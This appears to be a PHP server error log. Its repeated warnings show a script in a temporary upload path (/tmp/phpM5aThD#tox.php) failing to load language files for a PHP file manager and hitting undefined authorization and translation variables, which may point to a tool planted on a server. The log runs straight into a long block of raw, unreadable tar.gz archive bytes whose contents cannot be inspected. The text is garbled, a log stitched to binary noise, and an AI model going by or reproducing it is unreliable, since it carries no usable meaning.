[07-Nov-2025 05:23:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 06:00:08 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 06:00:08 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 06:00:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 06:00:20 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 06:00:20 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 06:00:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 06:01:24 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 06:01:24 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 06:01:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 06:21:11 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 06:21:11 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 06:21:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 06:21:38 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 06:21:38 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 06:21:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 06:56:17 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 06:56:17 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 06:56:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 06:57:18 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 06:57:18 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 06:57:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 07:29:49 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 07:29:49 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 07:29:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 07:30:56 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 07:30:56 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 07:30:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 07:31:01 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 07:31:01 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 07:31:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 08:03:01 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 08:03:01 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 08:03:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 08:03:22 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 08:03:22 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 08:03:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 08:03:55 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 08:03:55 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 08:03:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 08:03:57 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 08:03:57 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 08:03:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 08:04:49 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 08:04:49 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 08:04:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 08:30:36 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 08:30:36 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 08:30:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 08:30:48 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 08:30:48 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 08:30:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 08:31:51 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 08:31:51 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 08:31:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 09:04:54 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 09:04:54 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 09:04:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 09:05:14 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 09:05:14 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 09:05:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 09:36:01 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 09:36:01 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 09:36:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 09:36:38 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 09:36:38 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 09:36:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 09:36:49 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 09:36:49 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 09:36:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 PK$g[tȅhdhd 4ermtb.tar.gznu[ #U :`l ͮԌTӒJw]]S]U]]U==ӖSR]Rƀm,`Y`06^1,cދHIՇ42fNj/^xEKmba:UNT/ɊڡܺqmB.'ǐMޓΧSl:N >2J&4F]O5%)ssӧ۞5^X:rW8;wMᇞgK_ۚ_?[>'oIesYx[ɳoտ;8O%m%s#9{Ϝ{Xz'_.wY|+ǖ_?w|hQo:<㿐-[cgw& p!Ԍ6u:F5zX4]^Ol7DNk7:Vn@*9SB!NC|&NBtY=P?jh0! |jZ)JMK_}_&S뿗}Kl>#5?h}^^`s{;7/g?3yyK|w l1TMK|<O?oAw/]|f>{KΏ{z;xJT_KO+_}^UT-3??1~.c_<ч?<{o5 oyA#F{E0^t]Sn2XNBcN8:3Cz%[]O(؉z}VE"z5vDk:3k3kNS"Zm@ډ*z\VXޚ4Z\^ݬ-;VϞ8>Ɔ! aCR}dFpTa/~G>U/ ?Q_!OviOeY{˿}~摹ثJ:Wo໶+.O>?5OOi~jwk2[_G?g_q%s|ӿ𯟙\߸}ϷC] 2F]pdug2-HɤBnO=vV5$aCafwk6uǖzo_I !as/}4G=O%K,___wd??_{ӛ~W|?3{>q֧̯M@/Ow~__{ ?oyVa<+!wJg03~{oWG͏,//~~y_]S͟ϟ3?k/}[>ڻ_O/ϽzZ?yϽG~kU ?t n~sbۥ_o{>:c<~Uo=}gl-MF8;}@ lT> #_;aCy|'?5YF8:ϦAPFrQnV.?d^9=jh0! AGnQHn‘q /?ғ?p~3d0! a|*Ot.9p9XL3lMBXOϜ+O?r54aCa Ra;'/6b3o!0! 3̸&O <_Cٵg|+oYޝ?g_}_WWoOM/x{Uw|^~? \yk◿gjS>=eN>gG~S|#op.<j-o{+?xS}U~ۿ|%~ckky`?`e g?Ӿ׿yG^o_/W j}f{wWdX/#ܹ80Ti(awrya~  C|j!C w#Y ߙ0)=|Uҧ& aC0SLGpۤ_nOm {}nO_N~GjS^/H/n=Wy_s_c{koOnwϽ:ƣ?d"z~l9~k ~?/<;?50o|Ow'/xZ!s_|8'Y, J8O_|V]QC0! aV0h˦{wv8[?߆Rl!z~}όKj ^؇d.WKɞ[H7/wcWsؘ_;18~i\~)v{}7}wCQg 08gsh;_̯{u-7૞oH\ϔxy_[_Jө|~U|Gvra^̇o77; O{S ˟?v~ڏG=x?>+,fƽ$O{ߕ?}ڃ_G_֥߇^3ƞwSsx`k \~~UަW=?;v_]Gy{}?Po<p[?&'a;v'Y2lF0p'[~Rӡǡ??n^տ?Tѷ>z2ljCӯOO}㳅7?9[}R9|;?7~ÿ{D^;w%_;7~_EX}d;_y/ُ%???[~|v% z%[]OSl3p܃n>"Y;5ZXqciș͵ՍȵqH)FEE*z\VXޚ4Z\^ݬ-;VϞ8>f! 3_yBaaŭ3x_m__ԉ_ȩ/FㇾxǗ|; zǻϼ'_y·N_~矢j+˧W#N}+{G_G/?_6_}ӿ2'w}~鉿zνǧL-I[/Ǟ3yW<}?h/}?W/rC_P#b#c`o6F0[nƕ֨ C0 +\>do֧B-}ڋ__u>ySk:_}/{;^ǭ_ˇg-ͷ#{ᾏ)?p!ܹwd>p3KdF M0aXa(|޺{udڿKkgE˫Wzk?{{\f9?/2;~S˧9%x6"3GvhZhTuSG̚[ 鴻oZqvNMkhPR]ߪu"7~ƳQѪzSE/-o,ƕh.9w}_[+n.o,gijP*j T ˜bҙ~P DJCoFJTKit0' ӥLTҩRn2y<Vf}_h[u֋V&wc*z[+wx] ߪbgM/c2iSu͝ vbGoh7&Y'.n.m[*ݶ)..\<*yвr}7yvvS{.fnvjqcпJU"HDL^7+vu&Ƅ|2Lv&@C8Wb"J[Eh45MDѶzgkjv*5kS]?3}IH$i oV{Q@rcQ6Fl5|>P1\BrZ\[ʄ0͇[_ŵ\Bȥ'o>gg┕ +S K)./Fªݷɗ*ʽMmW9uT(näHW!zm\9cX4-1YًqB*P#*bV=J 셦pXXĄ+U(Vb鋿Hإ^BmY:GD)]R _.5s&n$3/bx.Jza/,WV$wBkJtiAE,6e6,s'a[SwUd}@ 0;B*ŐGVE*}LNxrMmC[$ځ:"ڙ"Wr@gFKkfjZbHQ%l)E)CyBj<P Y״V,-z'T5ڕ",~}\s,*ʗʋ=i,&8ֳx 7l_1 ,wV poijMb2rA 0zC+ ]W7J([}cUؓ6 M"5լ)M*^J\jW@bSf+n8޾qmT*r܍c}J,VIƮrkv`T$0+0D(k0 .Wڮ$vvPzYB4V-GpUQ2%ԛE%E"JCԌ\b?w;ZG xalAypsgˢH:({zd[MfF{kM& }D9>N 2REڹTQ㤱7I))%J2+ %KGW[Wu{&̧=i#[ Mh.BuŬNYV)>%RȽt >㟋4v+`hdr.]H)zJIx/ *X'a&X4c oE%/b݈LVmeX];UK*Y,Y}$A@(Kn;E+WzބN􎮙,3KN/ |[j+u K]R(o+PDCVV΁i =@OQ!;ܹ&p [)w惘L^7*?e/Yϻ*TR2t6"mnG\gE+mZ T.,#hv&5Ї0 ֔FP{5}{@auEWq(PCR<8a64њr*3FW1'*D}tHtzCZbMD&pN3΍؏f|FM\n;\/P +˛K6|EY"M#dtBպ~C#c`-./-/=I uzqJa4z~L=e?w?aA2<{ZQ|x;Tb@[c0E{#e43nh9VIC@9Qbد2 ME˶PM'&HC2Ƅ9F^jhr{$>xcŢ5ڑ9͛Tw4! i<1ZզxZTȾ1M@L.n/F;n K@wfQxy$D!uqchL so.m.[Bs~Nvcw-ZVw 1z:GZmKv6=;2 ۰adJɥ&6ZŵUѵX$ғA(n61nO."nB`r$.dT `D3oLhmfÚq7H"NAT2mx`vFXӼZX-60k Vb}TԷ3 Hq;4Xn+S@M5>1- ~s1~Y\wNnzmQnFA*յ{ ˲csV'CvuZydZCrFVIE}Ȳy벀m`k\aڃU*P}o̩!Dv#ʩ`"D@=!ӳ^xž=N" 0z`eI[=Dكµ_̷$ř'7k?ZA+[?ZY#<T@Y`˘50e\Yxxu}tj8@`*tk(XX)A`x$  ! G0VBd+bYQ; ly'_axc5[zjH.5:9ԦNZ=1vw2SUll<"#'f&&GǞQg@l1kd~@ 'JLW  Uo- R5av* h^&bOF  XWѽT* 3䒵[,I$hm bh\Ȍ^:ߎF#yV]M\;pZ0#p!A>CGwEcGiloiD]ڲA)_0c/cՖ)ۧci8a9E #b" B*0 ,^],_][_=g*g=&mj*Wp*jrk{ZtL4fF:#tbUdѬ@:cPйE,NAJ~@lUDG(-!G`$yτ yQ"~r?*oʝ=B4v:HE3HX-["vr ,^.Ky#z"XTqKFr"/;{8\XA>~PbsWۗZ:9<{LV_+bʸYCkD^IoD`@Q8vil :I Zv0I!^ f{i+<6Q:oTx%B/':;{f7;ETUacGEJIh&ywée ;+{7?-k5jfAl@LA0 GiБ}!-1uˌyc`#+q1(@7/V*Ҫs-f5vēdS"̈< JS @A' }CBCa4otAm D3bC2+/Z2pFdq7. x'Scs`3W|uWX'{փuAl>JmLF]ˬ q`B6x!]e @,'@ySTAo~£mmV7BIPbVanzgP2`޹{rʵ'6cV(5w݈9} 6nQf 9{~8g'1`ϫݙ \ٗ`qo[gI"OLD++Wb4\sE-9*+`Ñ8:7r7ؠ- y$\IDc9Eں0 rA|4ڱשit9fZi%AqsJ>qbtM}5.t`maeRYjj{QYjKcW1ff:߽R阩6:2,D=NPGu1TtG!ymuߜj= {1+%\si)f3[ f{N>YOY@މkxˍrP?5t&_R"&lȆ7m \@n ש2hA+g8ԋ|ObBPaxW'qhgYelB{]a5wi¼(>8ܞ0$ a^5@.?C\ؙuq79InqƉ_-{~#2oh4j SrN7KLO@}fpAOЀ{ 蟿Ѐ^r?響h>) q*8CbvZ\ZEXqya \7%cxo[0a {gj-ƌu(]@72HvBݒ1,ߜ+ҧwZ't3:e˲82*J"=~5um֚(](cߞᘫgƊT[=LI _nKbrD-\uBiʛcU^[=hӚI6y۫tGowWP)"x́ a'p] fmQ[zӓU rvv{DFwgw|S\+p _ :5*5nnt$":t՝^5V)3ë"ւAm:+ڌ2V|gRv: jX}_4lǩq̊U@ d8a%1`Q@ ӹCEn,xbZitU2_{w׳T .TI6̤8Y][Tj\qCfQX8s%Ǔ\z O)~Wt %Ig_PJ: b=OʎЌ.ԑΤ x6=e 0:7ZiYxZ5eaf;gόn8KEՋ;$~mjM#q!SUpEtd[uXJ ʘtNP\xhߛP1$rJ̙ǓĘ65= Z<1<3Q66{&+EzmҖE2s .6l䛗V d &mOҍXj[-~}$3iURTxrJCc-{ں¶fGreG Xװ : F6׻+蹧?Y0 ojaߜ;U#VG;ƹK\9G"\u&Kc~ĄrpWvL,X*YVIQ  2`(VP.=X3Z.'7@m]f,dqCK+: 2Й޷ iDT9ZYi?NW$gڑ]qRXkAk?ub?~ cTb*]5'\E:NVX<Ἥ!6@fhJ]2띯U RYPoOaZk+N!EհbT(.t@XzXf"~%#^;uQ\ P:SLg-AM-Q o]+O Z/XY2[=$'ev!(!n@K[ ,C$w4Y-ʚuq%\_o$6ׁǹ d5cO6Y]"֬}noV!^p&WYl<%k @,⒊MRz l@q@LL=l@t\GB.Ƶu@rv-#/khwKx^]F^A~MQdaWogu ?@)bsl<3ZЋJ{&P7š`,Ҋ2ZFsHMQ¨;*|z]SyUJ1m/n|y.1Rq*c ,X>%|nE6=qR:%&d>CyEiJr&$Wl 1YR[MT-ny(HMCB\ a"d&.F"S*t*ef6vea` nQ莀"Md !RQrPˠP)]wF4N%m(߳pAFo [ixpw:àj@z} žHg =GZѤ'#uX۶ZFDћ&F,_1kuWl}Zrr"{o=#8r9=+V "m![+˦բ}T> ݣoi0Gw+$o&:ȣQ RSڭ5:)C{G4Hx"3(SJԤeXo$ lvʝJ[8tD5fcew;'0AqPzƿK$T]YeҭzfÜ"0}[hU7ޓb"qösA:PXdٝU{g_NiQDTQ qĆZ>֮0mi*!-vt'q%|n+έ$׭Nl0 OrӲX Xӭ!Ǣzu_=x;c9 3]UC;ҁ58(hxVw,+ҊJnnL!vK7-Mv+!+,p6H#]zH-*ݐ"GŦ<8D«F< _3ggwڅ2Z\](^Z^zxiAjܹ=(LSSb]K#l]g@xazm9SΚqC}#kw8#-/uSE(7B S Z! ӻKj ĭ,\6!\qF H)KH'&m34eJ=̎=5%%V">C:6%)?33* ľ5q|.\mp\^p%ȭ=߳炬I#RݳrlNIR)4D;x\eƙ}n_șzKDqeyMAsO8!{[bkSٞF?U'&*Y$}3'L r~=5PGS\dK=sX%X4' eg~,ﴠssu}wMӒ>OBW:xM 7u鯥kX2&MC[T$n$TxNmmaZ% &ɨpb-Z9wW .RlmeL2Ōb(F$=hK̒/zNnY^88G{x?s* /ϯ],._5SWח1c"qzY@jZGF,6Ra )RJz}eH=fm˜gЃP\0H X$lKU+DUw%V"%9fS7Dm/v"9Ht6Pyd[XБc{['kf9~",$Ǻj;ho5]* 22w~XoS)V]Y93\ ]";ȹ垮 |>bs=Ɇ=W | :-aKTE: )"DJSFʁHmp9mX#܂&ANj:'3'%XaZrG>@e{ZH:<߯5wԲ^z DO|e*(}er`\)gρt{Uv;H#ꆷ c / xje]̙Q6,Z̡Z}Nk(= 2 RѦm kfz3Qy&WHOațm4[j54U;FkT 3嘘*m*|B5WDxb-u5#"m(,=`ĨX[wʄImnFKcIpVT3FL~mYJ)CI$5#PEp`R V.c-V[[GV~JeJ@`m_hojk5zc+q0 +( 3K: m"q9:pw^iPwipw8a;}LG20Ab6 i//$H*`;}BL|.RȁX\$[Hk!=inc&_uqcxfF Fj N"!C+)EM!£{QbV[0h=3A-Y{?xT.z"ʮ""={O$ɟղwMb~i-}I}UV~c{Mh2V6'c궭[hӰI)h Dc5nVC(<8t\ZEڝ4h'"4ͳ_$Ea`o9(SCu4_ FU 8˫ܯnB}A1 `^(|hH~,}h1z;T*"C n734y,Vq卍Z3)6bh7:QuE;L)AW~rox=%)^T"U彟۹ϣ*~u􋄲:6$;]ƈhiMזHd*I*qt1I\7LJን lWE`xG~Tr̆]pn;Ya/?S=O顾(`:Q/mGӚ2Xi{zf@Ov|σܠV!2zggff dS1 gS>}ۉ">{+;IT}Z0 ?{GެZSM $`n&(4d֚rx>4m|,mnY,gxZ`@"@9oa!Z[јaxS46?I2xh=w"@75aB&dzq0m}N"TئnCf$ؤJ`hy"aFI@ɭrMb3,w|o뮁|T (ܐaҙ>dYmݣ۷={󦭗[:aG#s {7r4>%ʒb 3Meb6_uU^wƦd)vFA+<;뽱¯*V4roe;!8X;it[Z7$1{k;1xpα.נ:v4%m9/lc39yiiSs\~G5݂ w4 (&&{1-h{E0ϻBtu"rN(g20<睨ΒH3J ~5|n튇X\ޯR9!KϹkv ~L=vi6=ȏ3]I˶nAĭmJe_=bڪø ;%%]jw+z:x,!YѫDnjQ_c  9ҵJ|.dZu.M~ਬUgPFQ[pg AKL#gԷu6T| 5M 5\%w]}+ڭ `mY{dh>`gOlvAf=BAS]5|ɧɗ\sNt 9Q-r7(*IZ.Ak4?q bq~sisR͸P4?+VUPNFN)̌>c&#¤y܃GdWߊئ"KK+G4N,xe|<$r@\P!8 NT !\>I : ޅr*> ^ N\3=!% #nޔ}{u9Vx <(`!;d̊ߝ_^=qiHWڢe5(6q R-lvlky(9%i+r(Y2WOϡf'\6 YXBXT  VԓBx(@XG8:{;³Zn g$g:-w/:ÙMgW}$NO>ѻw~?8cAߠ+W!)ب0wP wkҭ+͖tw{7;X>] he~cE(m6J'k5FZ?>|]_?:+j[ 3i+H-} 1$14~}'򉻡1zP[hiupcċn 2.`Ct utLWv[# c4qn\9!A(@r\O9UsQ6ƵϠ)p1a)9 '&A/Rl5r+XN8ߧ7HE}^߰Un$I^JOr'Z[]Ijح{@H'I/p$&*`Yo`l'zŨsԋ%" ;*wwkٱ&d,uP%EDKqs@be(.#Lr"$q1πuv_`VLiU`-e.W;;V3RV`P@$Lz[otЊAo\_ kz_(|w:e:v mWR0;,5|<\E-1ixw.9vCux)=% mM.7jif Pk[7z!tA.G$e]=N@!{Ǒhbo끾cݺKFYǥ0GKa I9q`g \;r\uGt2;^xәQ^ZsvtTbMu|ll}QRt}u.ƈ-"$90kI昘P:5,5C7Xa$E$v"ǎ$ pʌrnycci# B$Ay}ƱlXbkHe&ՎёqxB[@|,2@ype]$'%6S[j[m(,kKQLj 芏 lwmH9cyݦjsXsQ"ASm'X~ /oAXY98Qu27ND2z\Zz:h[rːd8>E`(톃f jtu-r.&c̷9ѧKGDhwfö, !'/ hp=1WbMrHv}8MP>*-ަ Θ*+ :,w^Jh<W$) d7?:A΍W'w`B]ئX*n1ϳyA!TS1Tp f޶EhL(ҟ#΃%u`F-KMNN:wJYM#2cijZR5m1GƓ=$xsVuDpc]5Jj)8JB[Fv^SF&&"a1/3+E gHᩑG֖\L 3DqKJh}/WXoAM Q%] \ #cъnTѪ$fMG"׀4J$usJDD"PTNǺzo$T!!6- .gԲ ˉʐTՒiԻf+ ksw}nfM>},1fNtԱGD%ȏ]AØsͼ}=pv'tnD7}:NB*a i'k /:mqr\̅{ V>AiY,a֝IA0K4$M2h e $LmI*%* 3", `y|!&/7dN:h‹2+Ǖf0Ff]/k<ݿHeJUj%`ytJKvjFoF_̞q]G' AedՁgh)"eY~Z{ 4t&a6"ͱ/+aw,kB0;^Ǭv%Gmrr g QV?+:1j8 -7XVtݏPp˥X[h{zge̽rwxKƅ{|\u0gU'B_f]#tyaRqys܆ r[;V@T2E^1[:YgUzENIzėn)VfdDVݧVGdq~ؑ@\w)iho̖kVSj$/%奅(C {􂋻0U*[P ] z˭k[n08TtUSnAPG#J)tXtfB*}7brh΢,Ja&jt;nǶN+-:; c#V`u\h4a2e4sXVA<:>A&-D }]wQ@cnaJ&c߄e>cL8~Z` 7)\oc ‹n/@4֡uU{.u鱘s@J(F).ƺMQbĢ'Q9Kw%{>rRX!F;"Pю +T&7?#{:n/ q%KB:uZj{'#  |#Sp+ |c4ѵ^T;a\J% M`|ȷ~eɾ] wQi"JR홉Hṛ [)b>OR}$vp'JzTI&pb < "DFim _hhp60݃҆E`۲LQĂ5A]o5o( `Nl[|y^wȪff%XE/nJLEmb/d] .ZUzt}<9vQc1W,]$樱Cۖu|q=]ۥ2fe`5Y~cdC5V]F xJDMpvv7M&qG9}BV_*._Y\:`uK!g7;`xn HT}A~0.+=&4V,o ~9t %HEMT@1 T\_bcSOo$:Ek.I&-"3=^E'`Xt拔X,%?cXtFa^LҖ^@؞5b⯧i=5@CX]WSXIuS,Vf7j8:%ή4%iSC-o5Ad(jI,iWkזNģ>JқPH@uћ28%uTe_mH:e_1aiH"KeUYR%uF2Lե3Ui?L ;0 GO ;I4R{RpOYyÔAdc߳ yqM6Z9il^+c.(hsmF(K6dϔGSgOZ9ȸZ}оUw$츕EJ近̤*3- 4$wƶ$Zդ%w*}Ckpv%fS2F)!rW2jJf45s00AВR!^uY,%fƖ Y$2%2M@ڐd)1+1dƽ`qZ7Z=qAD49GȃR!m\[%CmWbHXDJ6dk+τ-ɤ {C{M-CoNGTȘ,!]Ad"dfս4hv\wd8T S"תdyd:wz`F'*>@=>DAMޯ8Y,R rY`i C懐G͘O7ws#tԨę%δ&q's͈YzC8# `l|6*8ul2f8{Tv+zQ3/8z|g;xqtz9nn₶&3qIgZ8ӳ y$p: cUoH/9|q$E@㖠g2zIq&ƹg_zHL*g_X4Vq6ِsN)q⤶8_ 8XiX>eqbՎ Ĺ%4-f_࿵=5LZ%f!q!3ojV~V ZLvAecG.V5\lmUc4>[\כU6+uM4l?v[6:YoSc;o*8Sę+D'QVKm%Tx LHDlx(㨷4Ѯ2ipڝx֣iZF4QjS3.i.ʠq.uƙ{:q&+ƹt'ę~*{dq,T-řgt_9a4f[|}sWI :E50ch*:鶦q1'6#%iQ50;{ Y&T2a$-ڗa.K}KӬ$&[I ]e9QJlD᫬|HT*IE2 EiARd#$wI:|t.I4CFl<1 /@tfMU^z`PA( saғ{Ӣ7pZ:pڊ؟?#@,Zd06P2ÅǺzyϰma4-̓EExV1j MIbpΝ`( ZuUo '&.6 Z> LzE)i=x<ˮWcwV3K]m)| vUbA)1 yE!V:\7:{?@dt"_u9kޱncm]P_\L"L?6&D'c;09DŽtN>ȼK7XJs8`,k(魁cu c'vC\b7jUaGlfJG%"YVdI}`H涹|u]3YBrF<Df.#swQI ,#6vKgx[ފgp(+s]'uqhuXa!`>jm.B(%~Qmž׏vd׋Y/ XZ9oS_;fߪR4hu^.E3n&c:V8dq(]xPU ԋ4: <:| 